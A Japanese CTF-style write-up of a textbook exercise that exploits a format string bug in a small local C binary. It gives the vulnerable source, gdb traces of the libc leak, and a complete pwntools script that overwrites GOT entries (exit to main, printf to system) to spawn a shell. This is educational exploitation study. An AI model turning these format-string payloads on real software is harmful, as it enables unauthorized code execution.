FSB・ret2main・GOT overwrite

『詳解セキュコン』の実践問題35.4(p.638)。

タイトルにある脆弱性を利用してシェルを起動することが目的。

与えられる文字数の上限に注意する必要がある。

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(void){
    char buf[0x30] = {};

    setbuf(stdout, NULL);

    puts("Input message");
    read(STDIN_FILENO, buf, sizeof(buf));
    printf(buf);
    exit(0);
}
shoebill@pwner:~$ checksec chall_vulnfunc
[*] '/home/shoebill/chall_vulnfunc'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

戦略

step.1 最後のexit()のGOTをmain()のアドレスに書き換えてret2mainをする

step.2 FSBでlibcのアドレスリークをする(read関数)

step.3 printf()のGOTをsystem() のアドレスに書き換える

step.4 入力で"/bin/sh"を与えてシェルを起動

exploit.py :

#!/usr/bin/env python3
from pwn import *

bin_file = './chall_vulnfunc'
context(os = 'linux', arch = 'amd64')
#context.log_level = 'debug'

binf = ELF(bin_file)
addr_main = binf.functions['main'].address
addr_got_exit = binf.got['exit']
addr_got_printf = binf.got['printf']

libc = binf.libc
offset_libc_read = libc.functions['read'].address

def attack(conn, **kwargs):
    # step.1
    payload = fmtstr_payload(offset = 6, writes = {addr_got_exit: addr_main}, write_size = 'short')
    conn.sendafter('message\n', payload)

    # step.2
    conn.sendafter('message\n', '%3$p')
    read18 = int(conn.recvuntil('I')[:-1], 16)
    addr_libc_read = read18 - 18
    libc.address = addr_libc_read - offset_libc_read
    info('libc_base = 0x{:08x}'.format(libc.address))

    # step.3
    addr_libc_system = libc.symbols['system']  
    payload = '%{}c'.format((addr_libc_system >> 16) & 0xff)
    payload += '%10$hhn'
    payload += '%{}c'.format((addr_libc_system & 0xffff) - ((addr_libc_system >> 16) & 0xff))
    payload += '%11$hn'

    payload = payload.ljust(0x20, 'x').encode() + flat(addr_got_printf + 2, addr_got_printf)
    conn.sendafter('message\n', payload)

    # step.4
    conn.sendafter('message\n', '/bin/sh')

def main():
    conn = process(bin_file)
    attack(conn)
    conn.interactive()

if __name__ == '__main__':
    main()

step.1

fmtstr_payloadFSBペイロードを作成する。出力してみると次のよう:

>>> fmtstr_payload(offset = 6, writes = {addr_got_exit: addr_main})

b'%182c%11$lln%91c%12$hhn%47c%13$hhnaaaaba8@@\x00\x00\x00\x00\x009@@\x00\x00\x00\x00\x00:@@\x00\x00\x00\x00\x00'

offset = 6というのは、aaaaaaaa %p %p %p %p %p %p %p %pという入力を与えた時、0x6161616161616161が6番目に現れたから。

step.2

read関数のアドレスを利用してlibcのベースアドレスを求める。

printf()の直前のスタックの様子:

gdb-peda$ b *main+141
Breakpoint 1 at 0x401243
gdb-peda$ r < <(echo 'aaaaaaaa %p %p %p %p %p %p %p %p')

[----------------------------------registers-----------------------------------]
RAX: 0x0 
RBX: 0x0 
RCX: 0x7ffff7e99992 (<__GI___libc_read+18>:   cmp    rax,0xfffffffffffff000)
RDX: 0x30 ('0')
...8<...

RCXの部分にread関数の途中のアドレスが格納されている!これを%3$pで読み出してオフセットの18を引けばread関数のアドレス。

なぜ %3$pつまり3番目なのか?それは次のgdbの結果からわかる。

printf()にブレイクポイントを設定して、入力としてaaaaaaaa %p %p %p %p %p %p %p %p %pを与えてやる:

gdb-peda$ b *main+141
Breakpoint 1 at 0x401243
gdb-peda$ r
Input message
aaaaaaaa %p %p %p %p %p %p %p %p %p
...8<...
[----------------------------------registers-----------------------------------]
RAX: 0x0 
RBX: 0x0 
RCX: 0x7ffff7e99992 (<__GI___libc_read+18>:   cmp    rax,0xfffffffffffff000)
RDX: 0x30 ('0')
RSI: 0x7fffffffdd10 ("aaaaaaaa %p %p %p %p %p %p %p %p %p\n")
RDI: 0x7fffffffdd10 ("aaaaaaaa %p %p %p %p %p %p %p %p %p\n")
RBP: 0x7fffffffdd50 --> 0x1 
RSP: 0x7fffffffdd10 ("aaaaaaaa %p %p %p %p %p %p %p %p %p\n")
RIP: 0x401243 (<main+141>:    call   0x4010a0 <printf@plt>)
...8<...
gdb-peda$ c
Continuing.
aaaaaaaa 0x7fffffffdd10 0x30 0x7ffff7e99992 0xd 0x7ffff7fc9040 0x6161616161616161 0x2520702520702520 0x2070252070252070 0x7025207025207025
[Inferior 1 (process 3577) exited normally]
Warning: not running

gdbcコマンドを入力した後にprintf()の出力が行われる。ここで、RCXに対応する0x7ffff7e99992が出力の3番目に来ているとわかる(aaaaaaaaを0番目としてカウント)。

次のようにチェックしてみるとやはり3番目で正しい:

gdb-peda$ r
Input message
aaaaaaaa %3$p
...8<...
gdb-peda$ c
Continuing.
aaaaaaaa 0x7ffff7e99992

step.3

FSBを利用して、printf()のGOTをsystem()関数のアドレスに書き換える。

step.1と同様にfmtstr_payloadを使ってやるのはうまくいかない。これはbufに入力できるのが0x30バイトだけだから

[*] addr_libc_system = 0x7f4f94318d60 (=139979765419360)
[*] addr_got_printf = 0x00404028

単純に

b'%139979765419360c%10$n.'ljust(0x20, b'\x00') + pack('<Q', addr_got_printf)

というペイロードを刺すのは大きすぎる。

そこで%hhn(1バイト分)と%hn(2バイト分)の両方をうまく使う。

payload = '%{}c'.format((addr_libc_system >> 16) & 0xff)
payload += '%10$hhn'
payload += '%{}c'.format((addr_libc_system & 0xffff) - ((addr_libc_system >> 16) & 0xff))
payload += '%11$hn'

payload = payload.ljust(0x20, 'x').encode() + flat(addr_got_printf + 2, addr_got_printf)

printf()system()のアドレスの差分は大抵の場合下位3nibbleで収まっていると考えられる。